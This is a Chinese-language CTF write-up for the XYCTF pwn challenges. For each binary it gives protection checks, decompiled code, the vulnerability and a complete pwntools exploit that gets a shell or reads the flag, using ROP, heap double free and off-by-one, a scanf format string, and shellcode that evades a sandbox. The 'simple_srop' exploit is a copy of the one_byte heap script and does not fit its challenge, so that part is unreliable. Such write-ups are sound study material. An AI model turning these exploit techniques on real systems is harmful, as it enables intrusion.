
XYCTF Pwn
题目质量很高,学习到了很多,后期因为考试没太多时间打,其中ptmalloc2_its_myheap系列三个题未解,malloc-flag未解欢迎交流
XYCTF
总结:题目质量很高,学习到了很多,后期因为考试没太多时间打,其中ptmalloc2_its_myheap系列三个题未解,malloc-flag未解
题目下载
链接:https://pan.baidu.com/s/1LfMwCL8zft42nWFEeZlDzw?pwd=XYCT
提取码:XYCT
--来自百度网盘超级会员V2的分享
baby_gift
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/babyGift/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看ida源码
__int64 GetInfo()
{
char s[32]; // [rsp+0h] [rbp-40h] BYREF
char v2[32]; // [rsp+20h] [rbp-20h] BYREF
printf("Your name:");
putchar(10);
fgets(s, 32, stdin);
printf("Your passwd:");
putchar(10);
fgets(v2, 64, stdin);
return Gift(v2);
gift:
.text:0000000000401219 ; __unwind {
.text:0000000000401219 F3 0F 1E FA endbr64
.text:000000000040121D 55 push rbp
.text:000000000040121E 48 89 E5 mov rbp, rsp
.text:0000000000401221 48 89 7D F8 mov [rbp+var_8], rdi
.text:0000000000401225 90 nop
.text:0000000000401226 5D pop rbp
.text:0000000000401227 C3 retn
.text:0000000000401227 ; } // starts at 401219
解题思路
经过分析最终还是没有发现gift没什么用处
本题的利用思路:
1️⃣利用printf泄露libc,并构造第二次循环(printf能够被利用的话需要把eax设为0)
2️⃣通过第二次循环构造rop链 get shell
exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
p = remote('xyctf.top',37727)
else:
p = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
ret = 0x000000000040101a
payload = b'libc:%p'.ljust(0x20, b'\x00') + p64(0) + p64(0x40113F) + p64(elf.plt.printf) + p64(0x40122D)
p.sendlineafter(b'Your name:' , b'bbbbb')
p.sendafter(b'Your passwd:', payload)
p.recvuntil(b'libc:')
libc.address = int(p.recv(14), 16) - 0x21ab23
success(f'libc_addr -> {hex(libc.address)}')
rop = ROP(libc)
rop.system(next(libc.search(b"/bin/sh\x00")))
pop_rdi_ret = libc.address + 0x0002a3e5
sh = next(libc.search(b"/bin/sh\x00"))
p.sendlineafter(b'Your name:' , b'xxxxxxx')
p.sendlineafter(b'Your passwd:', b'c'*0x28 + p64(pop_rdi_ret) + p64(sh) + p64(libc.sym.system-0x46e))
p.interactive()
fastfastfast
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/fastfastfast/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'/home/wc/Desktop/modifyLibc/lib/libc6_2.31-0ubuntu9.7_amd64'
查看ida源码
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%u", &choice);
if ( choice != 1 )
break;
create();
}
if ( choice == 2 )
{
delete();
}
else
{
if ( choice != 3 )
{
puts("Error choice");
exit(0);
}
show();
}
}
}
存在漏洞;
void __cdecl delete()
{
unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
free(note_addr[idx]);
else
puts("idx error");
}
指针数组在堆free之后没有将指针归零,存在double free
解题思路
libc版本为2.31有tcache 可以将七个tcache装满之后进行在fastbin 中 实现double free
1️⃣泄露libc:通过double free malloc到got表附近,然后通过show泄露libc(注意这个过程会修改got表,注意地址选择)
2️⃣通过double free malloc到__free_hook附近,修改free_hook为system 从而在free时get shell
exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc-2.31.so")
elf = ELF(file_name)
debug = 0
if debug:
io = remote('192.168.40.1','53810')
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
b show
b delete
'''
gdb.attach(io,gs)
def add(a,b):
io.sendlineafter('>>> ',b'1')
io.sendlineafter('please input note idx\n',str(a))
io.sendlineafter('please input content\n',b)
def delete(a):
io.sendlineafter('>>> ',b'2')
io.sendlineafter('please input note idx\n',str(a))
def show(a):
io.sendlineafter('>>> ',b'3')
io.sendlineafter('please input note idx\n',str(a))
for i in range(7):
add(i,'')
add(7,'')
add(8,'')
add(9,'')
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
add(i,'')
add(9,p64(0x404070))
add(10,'')
add(11,'')
add(12,'')
show(12)
x=io.recv(0x10)
libc.address=u64(io.recv(6).ljust(8,b'\x00')) - libc.sym._IO_2_1_stdout_
success("got=-> " + hex(libc.address))
# pause()
for i in range(7):
add(i,'')
add(7,'')
add(8,'')
add(9,'')
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
add(i,'')
pause()
add(9,p64(libc.sym.__free_hook))
add(10,'')
add(11,'/bin/sh\x00')
add(12,p64(libc.sym.system))
delete(11)
io.interactive()
fmt
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/fmt/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'/home/wc/Desktop/modifyLibc/lib/libc6_2.31-0ubuntu9.7_amd64'
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
printf("Welcome to xyctf, this is a gift: %p\n", &printf);
read(0, buf1, 0x20uLL);
__isoc99_scanf(buf1);
printf("show your magic");
return 0;
}
存在scanf格式化字符串漏洞
第一次输入可以认为时格式化
程序还存在backdoor
解题思路
与printf格式化字符串漏洞类似,scanf的格式化字符串在本题中可以达到任意写的目的。
其关键是指针的应用, %1 s —— s——%5 s——s 会被写入寄存器所存储的地址中,之后会依次写入栈中,但是要确保栈中存储的是有效地址,存储有效地址才能把该有效地址存储的数据更改
1️⃣程序所给直接获得libc基地址
2️⃣可以发现修改什么都不太能劫持控制流,最后选择的是打libc中的got表
观察libc中 printf的执行流,有一个call 子函数,进入该子函数,存在一条指令
mov rax, cs:val3
很像got表,跟进一下确实是got表,将该got表改为backdoor即可get shell
exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc-2.31.so")
elf = ELF(file_name)
debug = 0
if debug:
io = remote('192.168.40.1','50935')
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
b *0x40128D
'''
gdb.attach(io,gs)
io.recvuntil('elcome to xyctf, this is a gift: ')
printf_got=int(io.recv(15),16)
success("printf_got=>"+hex(printf_got))
libc.address=printf_got - libc.sym.printf
success("libc.address=>"+ hex(libc.address))
payload=b"%9$s".ljust(0x18,b'\x00') + p64(libc.address + 0x1EC040)
io.send(payload)
io.sendline(p64(0x4012BE))
io.interactive()
Guestbook1
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/Guestbook1/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: b'/home/wc/Desktop/modifyLibc/lib/libc6_2.35-0ubuntu3_amd64'
查看ida源码
void __cdecl GuestBook()
{
int index; // [rsp+Ch] [rbp-224h] BYREF
char name[32][16]; // [rsp+10h] [rbp-220h] BYREF
unsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREF
puts("Welcome to starRail.");
puts("please enter your name and id");
while ( 1 )
{
while ( 1 )
{
puts("index");
__isoc99_scanf("%d", &index);
if ( index <= 32 )
break;
puts("out of range");
}
if ( index < 0 )
break;
puts("name:");
read(0, name[index], 0x10uLL);
puts("id:");
__isoc99_scanf("%hhu", &id[index]);
}
puts("Have a good time!");
}
存在backdoor
解题思路
通过观察可以发现 0<=index<=32 gdb调试也可以发现存在off one byte漏洞,即溢出一字节到rbp上。(而刚好GuestBook 中有一个 leave return 在main函数中也有一个)所以 可以实现栈抬高
而程序可以在栈中任意输入,如果栈中全部填充backdoor,栈抬高之后即可ret到backdoor
1️⃣栈中填充backdoor,为下一步的栈抬高get shell做准备
2️⃣通过off one byte 将rbp最后一字节填充为0 ,两次leave ret后即可实现栈抬高
exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './pwn'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
io = remote('xyctf.top',37663)
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gdb.attach(io)
for i in range (0,33):
io.sendlineafter('index\n',str(i))
payload= p64(0x00401328) + p64(0x00401328)
io.sendafter('name:\n',payload)
io.sendlineafter('id:\n',b'0')
io.sendlineafter('index\n',b'-1')
io.interactive()
hello_world
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/hello_world/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./:libc.so.6'
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[20]; // [rsp+0h] [rbp-20h] BYREF
init();
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
return 0;
}
解题思路
1️⃣第一次通过填充足够的padding 使得printf函数能够泄露libc
2️⃣构造rop链get shell
exp:(我打的第二次循环,有些麻烦)
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
io = remote('xyctf.top',37707)
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
# gdb.attach(io,'b *$rebase(0x11ee)')
io.sendafter('please input your name: ',b'\x10')
payload= b'a'*0x28 + b'\x40' + b'\x9e'
io.sendafter('please input your name: ',payload)
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
__libc_start_main=u64(io.recv(6).ljust(8,b'\x00'))
success("__libc_start_main=>"+hex(__libc_start_main))
libc.address=__libc_start_main - libc.sym.__libc_start_main - 128
success("libc.address=>"+hex(libc.address))
pop_rdi_ret = libc.address + 0x000000000002a3e5
success("libc.sym.system=>"+hex(libc.sym.system))
success("libc.sym.system=>"+hex(pop_rdi_ret))
io.sendafter('please input your name: ',b'\x10')
pop_rdi_ret=libc.search(b'pop rdi ; ret')
pop_rdi_ret = libc.address + 0x000000000002a3e5
bin_sh=next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x28 + p64(pop_rdi_ret) + p64(bin_sh) + p64(libc.sym.system-0x46E)
io.sendafter('please input your name: ',payload)
io.interactive()
Intermittent
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/Intermittent/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/wc/Desktop/modifyLibc/lib/libc6_2.35-0ubuntu3_amd64'
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // [rsp+0h] [rbp-120h]
void (*v5)(void); // [rsp+8h] [rbp-118h]
_DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( v5 == (void (*)(void))-1LL )
{
puts("ERROR");
return 1;
}
else
{
write(1, "show your magic: ", 0x11uLL);
read(0, buf, 0x100uLL);
for ( i = 0LL; i <= 2; ++i )
*((_DWORD *)v5 + 4 * i) = buf[i];
v5();
return 0;
}
}
解题思路
构造十二字节shellcode,并且shellcode所执行的地址已经给出
注意:因为空字节的存在有
add byte ptr [rax], al
需要使rax是个有效地址
1️⃣经过努力尝试无法直接get shell ,所有先构造read函数,读进执行shellcode的地址,第一次的shellcode执行完之后
2️⃣第二次读入可以get shell 的shellcode ,第一次的shellcode执行完之后紧接着执行第二次读入的shellcode从而get shell
exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
# libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
io = remote('192.168.40.1','57032')
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
'''
gdb.attach(io,gs)
shellcode = '''
pop rdi
pop rdi
pop rax
pop rdi
pop rdi
pop rdi
pop rsi
pop rdx
pop rax
syscall
'''
shellcode = asm(shellcode)
payload=shellcode.ljust(0x10,b'\x00') + p64(0)+ p64(0x114514022) + p64(0x400)+ p64(0)
print(shellcode)
io.sendafter('show your magic: ',payload)
shellcode = '''
xor rdx, rdx
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
syscall
'''
shellcode = asm(shellcode)
sleep(1)
io.send(shellcode)
io.interactive()
ps:(借助栈的帮助我已经很努力地直接利用第一次shellcode getshll 但是差一字节没有成功)
invisible_flag
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/invisible_flag/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/wc/Desktop/modifyLibc/lib/libc6_2.35-0ubuntu3_amd64'
沙箱;
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+8h] [rbp-118h]
init();
addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
puts("ERROR");
return 1;
}
else
{
puts("show your magic again");
read(0, addr, 0x200uLL);
sandbox();
((void (*)(void))addr)();
return 0;
}
}
解题思路
🍢根据禁用的函数,直接利用SYS_openat 与sendfile 得到flag
exp
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
# libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
io = remote('xyctf.top',37727)
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
shellcode = '''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
'''
shellcode = asm(shellcode)
print(shellcode)
io.sendline(shellcode)
io.interactive()
one_byte
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/one_byte/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/wc/Desktop/modifyLibc/lib/libc6_2.31-0ubuntu9.14_amd64'
查看ida源码
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
switch ( choice )
{
case 2:
delete_chunk();
break;
case 3:
view_chunk();
break;
case 4:
edit_chunk();
break;
case 5:
puts("[-] exit()");
exit(0);
default:
puts("[-] Error choice!");
break;
}
}
}
add_chunk限制chunk<=0x200
read_date存在off by one 漏洞,即可以覆盖下一chunk的size一字节
解题思路
1️⃣通过off by one 覆盖下一chunk的size,扩大其size,再经过free malloc 获得更大的chunk,从而可以直接覆盖与之相邻的下一个chunk ,更改其size为unsorted_bin 从而泄露libc
2️⃣再次与步骤一类似,修改下一free chunk的fd 为__free_hook 从而getshell
exp
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
io = remote('192.168.40.1','56827')
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
b add_chunk
'''
# gdb.attach(io,gs)
def add(a,b):
io.sendlineafter('>>> ',b'1')
io.sendlineafter('[?] please input chunk_idx: ',str(a))
io.sendlineafter('[?] Enter chunk size: ',str(b))
def delete(a):
io.sendlineafter('>>> ',b'2')
io.sendlineafter('[?] please input chunk_idx: ',str(a))
def show(a):
io.sendlineafter('>>> ',b'3')
io.sendlineafter('[?] please input chunk_idx: ',str(a))
def edit(a,b):
io.sendlineafter('>>> ',b'4')
io.sendlineafter('[?] please input chunk_idx: ',str(a))
io.sendline(b)
add(0,0x18)
add(1,0x20)
add(2,0x200)
add(3,0x200)
add(4,0x200)
add(5,0x18)
add(6,0x20)
add(7,0x20)
add(8,0x20)
add(9,0x20)
payload=b'a'*0x10 + p64(0) + b'\x51'
edit(0,payload)
delete(1)
add(1,0x40)
payload=b'a'*0x20 + p64(0) + p64(0x421)
edit(1,payload)
payload=b'a'*0x10 + p64(0) + b'\x31'
edit(0,payload)
delete(2)
add(2,0x100)
show(2)
unsort_bin = u64(io.recv(7).ljust(8,b'\x00'))
success("unsort_bin=> "+ hex(unsort_bin))
libc.address = unsort_bin - 0x460 - libc.sym.__malloc_hook
success("libc.address=> "+ hex(libc.address))
payload=b'a'*0x10 + p64(0) + b'\x51'
edit(5,payload)
delete(6)
add(6,0x40)
delete(8)
delete(7)
payload=b'a'*0x20 + p64(0) + p64(0x31) + p64(libc.sym.__free_hook)
edit(6,payload)
add(10,0x20)
edit(10,b'/bin/sh')
add(11,0x20)
edit(11,p64(libc.sym.system))
delete(10)
io.interactive()
simple_srop
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/simple_srop/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开了沙箱:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
read(0, buf, 0x200uLL);
return 0;
}
__int64 rt_sigreturn()
{
__int64 result; // rax
result = 15LL;
__asm { syscall; LINUX - sys_rt_sigreturn }
return result;
}
解题思路
🍢栈迁移到bss段利用srop实现orw
注意:一次读入不够,需要先构造read
(详情看我另一个博客)
exp
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
io = remote('192.168.40.1','56827')
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
b add_chunk
'''
# gdb.attach(io,gs)
def add(a,b):
io.sendlineafter('>>> ',b'1')
io.sendlineafter('[?] please input chunk_idx: ',str(a))
io.sendlineafter('[?] Enter chunk size: ',str(b))
def delete(a):
io.sendlineafter('>>> ',b'2')
io.sendlineafter('[?] please input chunk_idx: ',str(a))
def show(a):
io.sendlineafter('>>> ',b'3')
io.sendlineafter('[?] please input chunk_idx: ',str(a))
def edit(a,b):
io.sendlineafter('>>> ',b'4')
io.sendlineafter('[?] please input chunk_idx: ',str(a))
io.sendline(b)
add(0,0x18)
add(1,0x20)
add(2,0x200)
add(3,0x200)
add(4,0x200)
add(5,0x18)
add(6,0x20)
add(7,0x20)
add(8,0x20)
add(9,0x20)
payload=b'a'*0x10 + p64(0) + b'\x51'
edit(0,payload)
delete(1)
add(1,0x40)
payload=b'a'*0x20 + p64(0) + p64(0x421)
edit(1,payload)
payload=b'a'*0x10 + p64(0) + b'\x31'
edit(0,payload)
delete(2)
add(2,0x100)
show(2)
unsort_bin = u64(io.recv(7).ljust(8,b'\x00'))
success("unsort_bin=> "+ hex(unsort_bin))
libc.address = unsort_bin - 0x460 - libc.sym.__malloc_hook
success("libc.address=> "+ hex(libc.address))
payload=b'a'*0x10 + p64(0) + b'\x51'
edit(5,payload)
delete(6)
add(6,0x40)
delete(8)
delete(7)
payload=b'a'*0x20 + p64(0) + p64(0x31) + p64(libc.sym.__free_hook)
edit(6,payload)
add(10,0x20)
edit(10,b'/bin/sh')
add(11,0x20)
edit(11,p64(libc.sym.system))
delete(10)
io.interactive()
static_link
查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/static_link/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=7a4efa9746885b1cf5b3dd77ae3c6059edae9c62, for GNU/Linux 3.2.0, not stripped
查看ida源码
__int64 vuln()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF
puts("static_link? ret2??");
return read(0LL, v1, 256LL);
}
静态链接文件,没有syscall或者system
解题思路
1️⃣构造第二次 read到bss段,并实现栈迁移,
2️⃣第二次读入 构造好的orw
exp
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
# libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
io = remote('xyctf.top',37727)
else:
io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
# gdb.attach(io,'b *0x40184E')
pop_rbp=0x0000000000401771
leave_ret=0x000000000040184c
rop = ROP(elf)
rop.read(0, elf.bss() + 0x100, 0x500)
payload = b'a'*0x28 + rop.chain() + p64(pop_rbp) + p64(elf.bss() + 0x100 ) + p64(leave_ret) + p64(leave_ret)
io.sendafter('static_link? ret2??\n', payload)
rop = ROP(elf)
rop.open(elf.bss() + 0x100, 0)
rop.read(3, elf.bss() + 0x200, 0x40)
rop.puts(elf.bss() + 0x200)
payload =b'/flag\x00\x00\x00' + rop.chain()
sleep(0.1)
io.sendline(payload)
io.interactive()
arm 与mips
需要利用qume配置虚拟环境,放在另一篇博客里,记录的不是特别完整
环境配置好后类比x86学习arm和mips架构即可,洞都比较简单,下面时两个的exp
1️⃣arm
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './arm'
# libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
io = remote('192.168.40.1',61857)
else:
io=process(b"""qemu-arm -g 8888 ./arm""",shell=True)
context(os='linux', arch='arm',log_level='debug',endian = 'little')
pause()
bin_sh = 0x8A090
pop_r0_r4 = 0x00026634
pop_r1 = 0x0005f824
pop_r4_r7 = 0x000280a4
pop_r3 = 0x00010160
mov_r2_r4_blx_r3 = 0x00043224
svc = 0x0002337c
# pause()
payload = b'a'*0x44 + p32(pop_r0_r4) + p32(bin_sh) + p32(0)
payload += p32(pop_r1) + p32(0)
payload += p32(pop_r4_r7) + p32(0) + p32(0xb)
payload += p32(pop_r3) + p32(svc)
payload += p32(mov_r2_r4_blx_r3)
io.sendline(payload)
io.interactive()
2️⃣mips(栈可执行)
from pwn import *
context(os='linux', arch='mips',log_level='debug',endian = 'little')
io=process(b"""qemu-mipsel -g 1234 ./mips""",shell=True)
# gdb.attach(io,)
# myproc = process(['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','./pwn'])
# io = process(["qemu-mips", "-g", "8888", "./mips"])
# gdb.attach(io)
pause()
shellcode=asm(
"""
li $t1,0x6e69622f
sw $t1,0x40($sp)
li $t1,0x0068732f
sw $t1,0x44($sp)
li $v0, 4011
li $a2,0
li $a1,0
addiu $a0,$sp,0x40
syscall
""")
pa1=b"a"*64+p32(0x41FBF4)+p32(0x427968)+0x58*b"b"+shellcode
io.send(pa1)
io.interactive()
更多推荐
所有评论(0)